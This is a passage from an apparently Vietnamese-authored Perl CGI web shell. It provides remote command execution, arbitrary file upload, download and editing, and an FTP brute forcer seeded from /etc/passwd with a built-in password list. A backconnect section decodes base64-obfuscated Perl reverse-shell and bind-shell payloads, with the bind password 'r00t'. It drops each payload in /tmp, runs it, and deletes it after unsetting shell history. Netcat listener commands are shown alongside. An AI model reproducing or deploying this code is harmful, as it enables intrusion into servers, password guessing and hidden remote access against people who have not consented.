  1271. # Argument 1: Fully qualified filename of the file to be downloaded
  1272.  
  1273. #------------------------------------------------------------------------------
  1274.  
  1275. sub PrintDownloadLinkPage
  1276.  
  1277. {
  1278.  
  1279.     local($FileUrl) = @_;
  1280.  
  1281.     my $result="";
  1282.  
  1283.     if(-e $FileUrl) # if the file exists
  1284.  
  1285.     {
  1286.  
  1287.         # encode the file link so we can send it to the browser
  1288.  
  1289.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  1290.  
  1291.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  1292.  
  1293.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  1294.  
  1295.         &PrintPageHeader("c");
  1296.  
  1297.         $result .= <<END;
  1298.  
  1299. Sending File $TransferFile...<br>
  1300.  
  1301.  
  1302.  
  1303. If the download does not start automatically,
  1304.  
  1305. <a href="$DownloadLink">Click Here</a>
  1306.  
  1307. END
  1308.  
  1309.         $result .= &PrintCommandLineInputForm;
  1310.  
  1311.     }
  1312.  
  1313.     else # file doesn't exist
  1314.  
  1315.     {
  1316.  
  1317.         $result .= "Failed to download $FileUrl: $!";
  1318.  
  1319.         $result .= &PrintFileDownloadForm;
  1320.  
  1321.     }
  1322.  
  1323.     return $result;
  1324.  
  1325. }
  1326.  
  1327. #------------------------------------------------------------------------------
  1328.  
  1329. # This function reads the specified file from the disk and sends it to the
  1330.  
  1331. # browser, so that it can be downloaded by the user.
  1332.  
  1333. # Argument 1: Fully qualified pathname of the file to be sent.
  1334.  
  1335. #------------------------------------------------------------------------------
  1336.  
  1337. sub SendFileToBrowser
  1338.  
  1339. {
  1340.  
  1341.     my $result = "";
  1342.  
  1343.     local($SendFile) = @_;
  1344.  
  1345.     if(open(SENDFILE, $SendFile)) # file opened for reading
  1346.  
  1347.     {
  1348.  
  1349.         if($WinNT)
  1350.  
  1351.         {
  1352.  
  1353.             binmode(SENDFILE);
  1354.  
  1355.             binmode(STDOUT);
  1356.  
  1357.         }
  1358.  
  1359.         $FileSize = (stat($SendFile))[7];
  1360.  
  1361.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  1362.  
  1363.         print "Content-Type: application/x-unknown\n";
  1364.  
  1365.         print "Content-Length: $FileSize\n";
  1366.  
  1367.         print "Content-Disposition: attachment; filename=$1\n\n";
  1368.  
  1369.         print while(<SENDFILE>);
  1370.  
  1371.         close(SENDFILE);
  1372.  
  1373.         exit(1);
  1374.  
  1375.     }
  1376.  
  1377.     else # failed to open file
  1378.  
  1379.     {
  1380.  
  1381.         $result .= "Failed to download $SendFile: $!";
  1382.  
  1383.         $result .=&PrintFileDownloadForm;
  1384.  
  1385.     }
  1386.  
  1387.     return $result;
  1388.  
  1389. }
  1390.  
  1391. #------------------------------------------------------------------------------
  1392.  
  1393. # This function is called when the user downloads a file. It displays a message
  1394.  
  1395. # to the user and provides a link through which the file can be downloaded.
  1396.  
  1397. # This function is also called when the user clicks on that link. In this case,
  1398.  
  1399. # the file is read and sent to the browser.
  1400.  
  1401. #------------------------------------------------------------------------------
  1402.  
  1403. sub BeginDownload
  1404.  
  1405. {
  1406.  
  1407.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1408.  
  1409.     # get fully qualified path of the file to be downloaded
  1410.  
  1411.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  1412.  
  1413.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  1414.  
  1415.     {
  1416.  
  1417.         $TargetFile = $TransferFile;
  1418.  
  1419.     }
  1420.  
  1421.     else # path is relative
  1422.  
  1423.     {
  1424.  
  1425.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  1426.  
  1427.         $TargetFile .= $PathSep.$TransferFile;
  1428.  
  1429.     }
  1430.  
  1431.  
  1432.  
  1433.     if($Options eq "go") # we have to send the file
  1434.  
  1435.     {
  1436.  
  1437.         &SendFileToBrowser($TargetFile);
  1438.  
  1439.     }
  1440.  
  1441.     else # we have to send only the link page
  1442.  
  1443.     {
  1444.  
  1445.         &PrintDownloadLinkPage($TargetFile);
  1446.  
  1447.     }
  1448.  
  1449. }
  1450.  
  1451.  
  1452.  
  1453. #------------------------------------------------------------------------------
  1454.  
  1455. # This function is called when the user wants to upload a file. If the
  1456.  
  1457. # file is not specified, it displays a form allowing the user to specify a
  1458.  
  1459. # file, otherwise it starts the upload process.
  1460.  
  1461. #------------------------------------------------------------------------------
  1462.  
  1463. sub UploadFile
  1464.  
  1465. {
  1466.  
  1467.     # if no file is specified, print the upload form again
  1468.  
  1469.     if($TransferFile eq "")
  1470.  
  1471.     {
  1472.  
  1473.         return &PrintFileUploadForm;
  1474.  
  1475.  
  1476.  
  1477.     }
  1478.  
  1479.     my $result="";
  1480.  
  1481.     # start the uploading process
  1482.  
  1483.     $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  1484.  
  1485.  
  1486.  
  1487.     # get the fullly qualified pathname of the file to be created
  1488.  
  1489.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  1490.  
  1491.     $TransferFile =~ m!([^/^\\]*)$!;
  1492.  
  1493.     $TargetName .= $PathSep.$1;
  1494.  
  1495.  
  1496.  
  1497.     $TargetFileSize = length($in{'filedata'});
  1498.  
  1499.     # if the file exists and we are not supposed to overwrite it
  1500.  
  1501.     if(-e $TargetName && $Options ne "overwrite")
  1502.  
  1503.     {
  1504.  
  1505.         $result .= "Failed: Destination file already exists.<br>";
  1506.  
  1507.     }
  1508.  
  1509.     else # file is not present
  1510.  
  1511.     {
  1512.  
  1513.         if(open(UPLOADFILE, ">$TargetName"))
  1514.  
  1515.         {
  1516.  
  1517.             binmode(UPLOADFILE) if $WinNT;
  1518.  
  1519.             print UPLOADFILE $in{'filedata'};
  1520.  
  1521.             close(UPLOADFILE);
  1522.  
  1523.             $result .= "Transfered $TargetFileSize Bytes.<br>";
  1524.  
  1525.             $result .= "File Path: $TargetName<br>";
  1526.  
  1527.         }
  1528.  
  1529.         else
  1530.  
  1531.         {
  1532.  
  1533.             $result .= "Failed: $!<br>";
  1534.  
  1535.         }
  1536.  
  1537.     }
  1538.  
  1539.     $result .= &PrintCommandLineInputForm;
  1540.  
  1541.     return $result;
  1542.  
  1543. }
  1544.  
  1545. #------------------------------------------------------------------------------
  1546.  
  1547. # This function is called when the user wants to download a file. If the
  1548.  
  1549. # filename is not specified, it displays a form allowing the user to specify a
  1550.  
  1551. # file, otherwise it displays a message to the user and provides a link
  1552.  
  1553. # through  which the file can be downloaded.
  1554.  
  1555. #------------------------------------------------------------------------------
  1556.  
  1557. sub DownloadFile
  1558.  
  1559. {
  1560.  
  1561.     # if no file is specified, print the download form again
  1562.  
  1563.     if($TransferFile eq "")
  1564.  
  1565.     {
  1566.  
  1567.         &PrintPageHeader("f");
  1568.  
  1569.         return &PrintFileDownloadForm;
  1570.  
  1571.     }
  1572.  
  1573.    
  1574.  
  1575.     # get fully qualified path of the file to be downloaded
  1576.  
  1577.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  1578.  
  1579.     {
  1580.  
  1581.         $TargetFile = $TransferFile;
  1582.  
  1583.     }
  1584.  
  1585.     else # path is relative
  1586.  
  1587.     {
  1588.  
  1589.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  1590.  
  1591.         $TargetFile .= $PathSep.$TransferFile;
  1592.  
  1593.     }
  1594.  
  1595.  
  1596.  
  1597.     if($Options eq "go") # we have to send the file
  1598.  
  1599.     {
  1600.  
  1601.         return &SendFileToBrowser($TargetFile);
  1602.  
  1603.     }
  1604.  
  1605.     else # we have to send only the link page
  1606.  
  1607.     {
  1608.  
  1609.         return &PrintDownloadLinkPage($TargetFile);
  1610.  
  1611.     }
  1612.  
  1613. }
  1614.  
  1615. #------------------------------------------------------------------------------
  1616.  
  1617. # This function is called to execute commands. It displays the output of the
  1618.  
  1619. # command and allows the user to enter another command. The change directory
  1620.  
  1621. # command is handled differently. In this case, the new directory is stored in
  1622.  
  1623. # an internal variable and is used each time a command has to be executed. The
  1624.  
  1625. # output of the change directory command is not displayed to the users
  1626.  
  1627. # therefore error messages cannot be displayed.
  1628.  
  1629. #------------------------------------------------------------------------------
  1630.  
  1631. sub ExecuteCommand
  1632.  
  1633. {
  1634.  
  1635.     $CurrentDir = &TrimSlashes($CurrentDir);
  1636.  
  1637.     my $result="";
  1638.  
  1639.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  1640.  
  1641.     {
  1642.  
  1643.         # we change the directory internally. The output of the
  1644.  
  1645.         # command is not displayed.
  1646.  
  1647.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  1648.  
  1649.         chomp($CurrentDir = `$Command`);
  1650.  
  1651.         $result .= &PrintCommandLineInputForm;
  1652.  
  1653.  
  1654.  
  1655.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  1656.  
  1657.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  1658.  
  1659.         $RunCommand= $WinNT?"dir":"dir -lia";
  1660.  
  1661.         $result .= &RunCmd;
  1662.  
  1663.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  1664.  
  1665.     {
  1666.  
  1667.         $result .=  &SaveFileForm;
  1668.  
  1669.     }else
  1670.  
  1671.     {
  1672.  
  1673.         $result .= &PrintCommandLineInputForm;
  1674.  
  1675.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  1676.  
  1677.         $result .=&RunCmd;
  1678.  
  1679.     }
  1680.  
  1681.     $result .=  "</textarea>";
  1682.  
  1683.     return $result;
  1684.  
  1685. }
  1686.  
  1687. #------------------------------------------------------------------------
  1688.  
  1689. # run command
  1690.  
  1691. #------------------------------------------------------------------------
  1692.  
  1693. sub RunCmd
  1694.  
  1695. {
  1696.  
  1697.     my $result="";
  1698.  
  1699.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  1700.  
  1701.     if(!$WinNT)
  1702.  
  1703.     {
  1704.  
  1705.         $SIG{'ALRM'} = \&CommandTimeout;
  1706.  
  1707.         alarm($CommandTimeoutDuration);
  1708.  
  1709.     }
  1710.  
  1711.     if($ShowDynamicOutput) # show output as it is generated
  1712.  
  1713.     {
  1714.  
  1715.         $|=1;
  1716.  
  1717.         $Command .= " |";
  1718.  
  1719.         open(CommandOutput, $Command);
  1720.  
  1721.         while(<CommandOutput>)
  1722.  
  1723.         {
  1724.  
  1725.             $_ =~ s/(\n|\r\n)$//;
  1726.  
  1727.             $result .= &HtmlSpecialChars("$_\n");
  1728.  
  1729.         }
  1730.  
  1731.         $|=0;
  1732.  
  1733.     }
  1734.  
  1735.     else # show output after command completes
  1736.  
  1737.     {
  1738.  
  1739.         $result .= &HtmlSpecialChars($Command);
  1740.  
  1741.     }
  1742.  
  1743.     if(!$WinNT)
  1744.  
  1745.     {
  1746.  
  1747.         alarm(0);
  1748.  
  1749.     }
  1750.  
  1751.     return $result;
  1752.  
  1753. }
  1754.  
  1755. #==============================================================================
  1756.  
  1757. # Form Save File
  1758.  
  1759. #==============================================================================
  1760.  
  1761. sub SaveFileForm
  1762.  
  1763. {
  1764.  
  1765.     my $result ="";
  1766.  
  1767.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1768.  
  1769.     substr($RunCommand,0,5)="";
  1770.  
  1771.     my $file=&trim($RunCommand);
  1772.  
  1773.     $save='<br><input name="a" type="submit" value="save" class="submit" >';
  1774.  
  1775.     $File=$CurrentDir.$PathSep.$RunCommand;
  1776.  
  1777.     my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  1778.  
  1779.     if(-w $File)
  1780.  
  1781.     {
  1782.  
  1783.         $rows="23"
  1784.  
  1785.     }else
  1786.  
  1787.     {
  1788.  
  1789.         $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  1790.  
  1791.         $rows="20"
  1792.  
  1793.     }
  1794.  
  1795.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  1796.  
  1797.     $RunCommand = "edit $RunCommand";
  1798.  
  1799.     $result .=  <<END;
  1800.  
  1801.     <form name="f" method="POST" action="$ScriptLocation">
  1802.  
  1803.  
  1804.  
  1805.     <input type="hidden" name="d" value="$EncodeCurrentDir">
  1806.  
  1807.     $Prompt
  1808.  
  1809.     <input type="text" size="40" name="c">
  1810.  
  1811.     <input name="s" class="submit" type="submit" value="Enter">
  1812.  
  1813.     <br>Command: <run> $RunCommand </run>
  1814.  
  1815.     <input type="hidden" name="file" value="$file" > $save <br> $msg
  1816.  
  1817.     <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  1818.  
  1819. END
  1820.  
  1821.    
  1822.  
  1823.     $result .= &HtmlSpecialChars(&FileOpen($File,0));
  1824.  
  1825.     $result .= "</textarea>";
  1826.  
  1827.     $result .= "</form>";
  1828.  
  1829.     return $result;
  1830.  
  1831. }
  1832.  
  1833. #==============================================================================
  1834.  
  1835. # File Open
  1836.  
  1837. #==============================================================================
  1838.  
  1839. sub FileOpen($){
  1840.  
  1841.     my $file = shift;
  1842.  
  1843.     my $binary = shift;
  1844.  
  1845.     my $result = "";
  1846.  
  1847.     my $n = "";
  1848.  
  1849.     if(-f $file){
  1850.  
  1851.         if(open(FILE,$file)){
  1852.  
  1853.             if($binary){
  1854.  
  1855.                 binmode FILE;
  1856.  
  1857.             }
  1858.  
  1859.             while (($n = read FILE, $data, 1024) != 0) {
  1860.  
  1861.                 $result .= $data;
  1862.  
  1863.             }
  1864.  
  1865.             close(FILE);
  1866.  
  1867.         }
  1868.  
  1869.     }else
  1870.  
  1871.     {
  1872.  
  1873.         return "Not's a File!";
  1874.  
  1875.     }
  1876.  
  1877.     return $result;
  1878.  
  1879. }
  1880.  
  1881. #==============================================================================
  1882.  
  1883. # Save File
  1884.  
  1885. #==============================================================================
  1886.  
  1887. sub SaveFile($)
  1888.  
  1889. {
  1890.  
  1891.     my $Data= shift ;
  1892.  
  1893.     my $File= shift;
  1894.  
  1895.     $File=$CurrentDir.$PathSep.$File;
  1896.  
  1897.     if(open(FILE, ">$File"))
  1898.  
  1899.     {
  1900.  
  1901.         binmode FILE;
  1902.  
  1903.         print FILE $Data;
  1904.  
  1905.         close FILE;
  1906.  
  1907.         return 1;
  1908.  
  1909.     }else
  1910.  
  1911.     {
  1912.  
  1913.         return 0;
  1914.  
  1915.     }
  1916.  
  1917. }
  1918.  
  1919. #------------------------------------------------------------------------------
  1920.  
  1921. # Brute Forcer Form
  1922.  
  1923. #------------------------------------------------------------------------------
  1924.  
  1925. sub BruteForcerForm
  1926.  
  1927. {
  1928.  
  1929.     my $result="";
  1930.  
  1931.     $result .= <<END;
  1932.  
  1933.  
  1934.  
  1935. <table>
  1936.  
  1937.  
  1938.  
  1939. <tr>
  1940.  
  1941. <td colspan="2" align="center">
  1942.  
  1943. ####################################<br>
  1944.  
  1945. Simple FTP brute forcer<br>
  1946.  
  1947. Note: Only scan from 1 to 3 user :-S<br>
  1948.  
  1949. ####################################
  1950.  
  1951. <form name="f" method="POST" action="$ScriptLocation">
  1952.  
  1953.  
  1954.  
  1955. <input type="hidden" name="a" value="bruteforcer"/>
  1956.  
  1957. </td>
  1958.  
  1959. </tr>
  1960.  
  1961. <tr>
  1962.  
  1963. <td>User:<br><textarea rows="18" cols="30" name="user">
  1964.  
  1965. END
  1966.  
  1967. chop($result .= `less /etc/passwd | cut -d: -f1`);
  1968.  
  1969. $result .= <<'END';
  1970.  
  1971. </textarea></td>
  1972.  
  1973. <td>
  1974.  
  1975.  
  1976.  
  1977. Pass:<br>
  1978.  
  1979. <textarea rows="18" cols="30" name="pass">123pass
  1980.  
  1981. 123!@#
  1982.  
  1983. 123admin
  1984.  
  1985. 123abc
  1986.  
  1987. 123456admin
  1988.  
  1989. 1234554321
  1990.  
  1991. 12344321
  1992.  
  1993. pass123
  1994.  
  1995. admin
  1996.  
  1997. admincp
  1998.  
  1999. administrator
  2000.  
  2001. matkhau
  2002.  
  2003.  
  2004.  
  2005. passadmin
  2006.  
  2007. p@ssword
  2008.  
  2009. p@ssw0rd
  2010.  
  2011. password
  2012.  
  2013. 123456
  2014.  
  2015. 1234567
  2016.  
  2017. 12345678
  2018.  
  2019. 123456789
  2020.  
  2021. 1234567890
  2022.  
  2023. 111111
  2024.  
  2025. 000000
  2026.  
  2027. 222222
  2028.  
  2029. 333333
  2030.  
  2031. 444444
  2032.  
  2033. 555555
  2034.  
  2035. 666666
  2036.  
  2037. 777777
  2038.  
  2039. 888888
  2040.  
  2041. 999999
  2042.  
  2043. 123123
  2044.  
  2045. 234234
  2046.  
  2047. 345345
  2048.  
  2049. 456456
  2050.  
  2051. 567567
  2052.  
  2053. 678678
  2054.  
  2055. 789789
  2056.  
  2057. 123321
  2058.  
  2059. 456654
  2060.  
  2061. 654321
  2062.  
  2063. 7654321
  2064.  
  2065. 87654321
  2066.  
  2067. 987654321
  2068.  
  2069. 0987654321
  2070.  
  2071. admin123
  2072.  
  2073. admin123456
  2074.  
  2075. abcdef
  2076.  
  2077. abcabc
  2078.  
  2079. !@#!@#
  2080.  
  2081. !@#$%^
  2082.  
  2083. !@#$%^&*(
  2084.  
  2085. !@#$$#@!
  2086.  
  2087. abc123
  2088.  
  2089. anhyeuem
  2090.  
  2091. iloveyou</textarea>
  2092.  
  2093. </td>
  2094.  
  2095. </tr>
  2096.  
  2097. <tr>
  2098.  
  2099. <td colspan="2" align="center">
  2100.  
  2101. Sleep:<select name="sleep">
  2102.  
  2103.  
  2104.  
  2105. <option>0</option>
  2106.  
  2107. <option>1</option>
  2108.  
  2109. <option>2</option>
  2110.  
  2111.  
  2112.  
  2113. <option>3</option>
  2114.  
  2115. </select>
  2116.  
  2117. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  2118.  
  2119. </form>
  2120.  
  2121. </table>
  2122.  
  2123. END
  2124.  
  2125. return $result;
  2126.  
  2127. }
  2128.  
  2129. #------------------------------------------------------------------------------
  2130.  
  2131. # Brute Forcer
  2132.  
  2133. #------------------------------------------------------------------------------
  2134.  
  2135. sub BruteForcer
  2136.  
  2137. {
  2138.  
  2139.     my $result="";
  2140.  
  2141.     $Server=$ENV{'SERVER_ADDR'};
  2142.  
  2143.     if($in{'user'} eq "")
  2144.  
  2145.     {
  2146.  
  2147.         $result .= &BruteForcerForm;
  2148.  
  2149.     }else
  2150.  
  2151.     {
  2152.  
  2153.         use Net::FTP;
  2154.  
  2155.         @user= split(/\n/, $in{'user'});
  2156.  
  2157.         @pass= split(/\n/, $in{'pass'});
  2158.  
  2159.         chomp(@user);
  2160.  
  2161.         chomp(@pass);
  2162.  
  2163.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  2164.  
  2165.         foreach $username (@user)
  2166.  
  2167.         {
  2168.  
  2169.             if($username ne "")
  2170.  
  2171.             {
  2172.  
  2173.                 foreach $password (@pass)
  2174.  
  2175.                 {
  2176.  
  2177.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  2178.  
  2179.                     if($ftp->login("$username","$password"))
  2180.  
  2181.                     {
  2182.  
  2183.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  2184.  
  2185.                         $ftp->quit();
  2186.  
  2187.                         break;
  2188.  
  2189.                     }
  2190.  
  2191.                     if($in{'sleep'} ne "0")
  2192.  
  2193.                     {
  2194.  
  2195.                         sleep(int($in{'sleep'}) * 1000);
  2196.  
  2197.                     }
  2198.  
  2199.                     $ftp->quit();
  2200.  
  2201.                 }
  2202.  
  2203.             }
  2204.  
  2205.         }
  2206.  
  2207.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  2208.  
  2209.     }
  2210.  
  2211.     return $result;
  2212.  
  2213. }
  2214.  
  2215. #------------------------------------------------------------------------------
  2216.  
  2217. # Backconnect Form
  2218.  
  2219. #------------------------------------------------------------------------------
  2220.  
  2221. sub BackBindForm
  2222.  
  2223. {
  2224.  
  2225.     return <<END;
  2226.  
  2227.     <br><br>
  2228.  
  2229.  
  2230.  
  2231.     <table>
  2232.  
  2233.     <tr>
  2234.  
  2235.     <form name="f" method="POST" action="$ScriptLocation">
  2236.  
  2237.     <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  2238.  
  2239.     <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  2240.  
  2241.      Port: <input type="text" size="6" name="clientport" value="1080" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  2242.  
  2243.  
  2244.  
  2245.     <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  2246.  
  2247.     </form>
  2248.  
  2249.     </tr>
  2250.  
  2251.     <tr>
  2252.  
  2253.     <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  2254.  
  2255.     <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  2256.  
  2257.     <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">1080</span></run></font></td>
  2258.  
  2259.  
  2260.  
  2261.     </tr>
  2262.  
  2263.     </table>
  2264.  
  2265.  
  2266.  
  2267.     <br><br>
  2268.  
  2269.     <table>
  2270.  
  2271.     <tr>
  2272.  
  2273.     <form method="POST" action="$ScriptLocation">
  2274.  
  2275.     <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  2276.  
  2277.  
  2278.  
  2279.     <td> Port: <input type="text" size="15" name="clientport" value="1080" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  2280.  
  2281.  
  2282.  
  2283.      Password: <input type="text" size="12" name="bindpass" value="r00t"></td>
  2284.  
  2285.     <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  2286.  
  2287.     </form>
  2288.  
  2289.     </tr>
  2290.  
  2291.     <tr>
  2292.  
  2293.     <td colspan=3><font color=#FFFFFF>[+] Bind before
  2294.  
  2295.     <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1080</span></run><br>[+] Enter Passwd r00t</font></td>
  2296.  
  2297.  
  2298.  
  2299.     </tr>
  2300.  
  2301.     </table><br>
  2302.  
  2303. END
  2304.  
  2305. }
  2306.  
  2307. #------------------------------------------------------------------------------
  2308.  
  2309. # Backconnect use perl
  2310.  
  2311. #------------------------------------------------------------------------------
  2312.  
  2313. sub BackBind
  2314.  
  2315. {
  2316.  
  2317.     use Socket;
  2318.  
  2319.     $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  2320.  
  2321.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  2322.  
  2323.  
  2324.  
  2325.     $ClientAddr = $in{'clientaddr'};
  2326.  
  2327.     $ClientPort = int($in{'clientport'});
  2328.  
  2329.     if($ClientPort eq 0)
  2330.  
  2331.     {
  2332.  
  2333.         return &BackBindForm;
  2334.  
  2335.     }elsif(!$ClientAddr eq "")
  2336.  
  2337.     {
  2338.  
  2339.         $Data=decode_base64($backperl);
  2340.  
  2341.         if(-w "/tmp/")
  2342.  
  2343.         {
  2344.  
  2345.             $File="/tmp/backconnect.pl";   
  2346.  
  2347.         }else
  2348.  
  2349.         {
  2350.  
  2351.             $File=$CurrentDir.$PathSep."backconnect.pl";
  2352.  
  2353.         }
  2354.  
  2355.         open(FILE, ">$File");
  2356.  
  2357.         print FILE $Data;
  2358.  
  2359.         close FILE;
  2360.  
  2361.         system("perl $File $ClientAddr $ClientPort");
  2362.  
  2363.         unlink($File);
  2364.  
  2365.         exit 0;
  2366.  
  2367.     }else
  2368.  
  2369.     {
  2370.  
  2371.         $Data=decode_base64($bindperl);
  2372.  
  2373.         if(-w "/tmp")
  2374.  
  2375.         {
  2376.  
  2377.             $File="/tmp/bindport.pl";  
  2378.  
  2379.         }else
  2380.  
  2381.         {
  2382.  
  2383.             $File=$CurrentDir.$PathSep."bindport.pl";
  2384.  
  2385.         }
  2386.  
  2387.         open(FILE, ">$File");
  2388.  
  2389.         print FILE $Data;
  2390.  
  2391.         close FILE;
  2392.  
  2393.         system("perl $File $ClientPort");
  2394.  
  2395.         unlink($File);
  2396.  
  2397.         exit 0;
  2398.  
  2399.     }
  2400.  
  2401. }
  2402.  
  2403. #------------------------------------------------------------------------------
  2404.  
  2405. #  Array List Directory
  2406.  
  2407. #------------------------------------------------------------------------------
  2408.  
  2409. sub RmDir($)
  2410.  
  2411. {
  2412.  
  2413.     my $dir = shift;
  2414.  
  2415.     if(opendir(DIR,$dir))
  2416.  
  2417.     {
  2418.  
  2419.         while($file = readdir(DIR))
  2420.  
  2421.         {
  2422.  
  2423.             if(($file ne ".") && ($file ne ".."))
  2424.  
  2425.             {
  2426.  
  2427.                 $file= $dir.$PathSep.$file;
  2428.  
  2429.                 if(-d $file)
  2430.  
  2431.                 {
  2432.  
  2433.                     &RmDir($file);
  2434.  
  2435.                 }
  2436.  
  2437.                 else
  2438.  
  2439.                 {
  2440.  
  2441.                     unlink($file);
  2442.  
  2443.                 }
  2444.  
  2445.             }
  2446.  
  2447.         }
  2448.  
  2449.         closedir(DIR);
  2450.  
  2451.     }
  2452.  
  2453. }
  2454.  
  2455. sub FileOwner($)
  2456.  
  2457. {
  2458.  
  2459.     my $file = shift;
  2460.  
  2461.     if(-e $file)
  2462.  
  2463.     {
  2464.  
  2465.         ($uid,$gid) = (stat($file))[4,5];
  2466.  
  2467.         if($WinNT)
  2468.  
  2469.         {
  2470.  
  2471.             return "???";
  2472.  
  2473.         }
  2474.  
  2475.         else
  2476.  
  2477.         {
  2478.  
  2479.             $name=getpwuid($uid);
  2480.  
  2481.             $group=getgrgid($gid);
  2482.  
  2483.             return $name."/".$group;
  2484.  
  2485.         }
  2486.  
  2487.     }
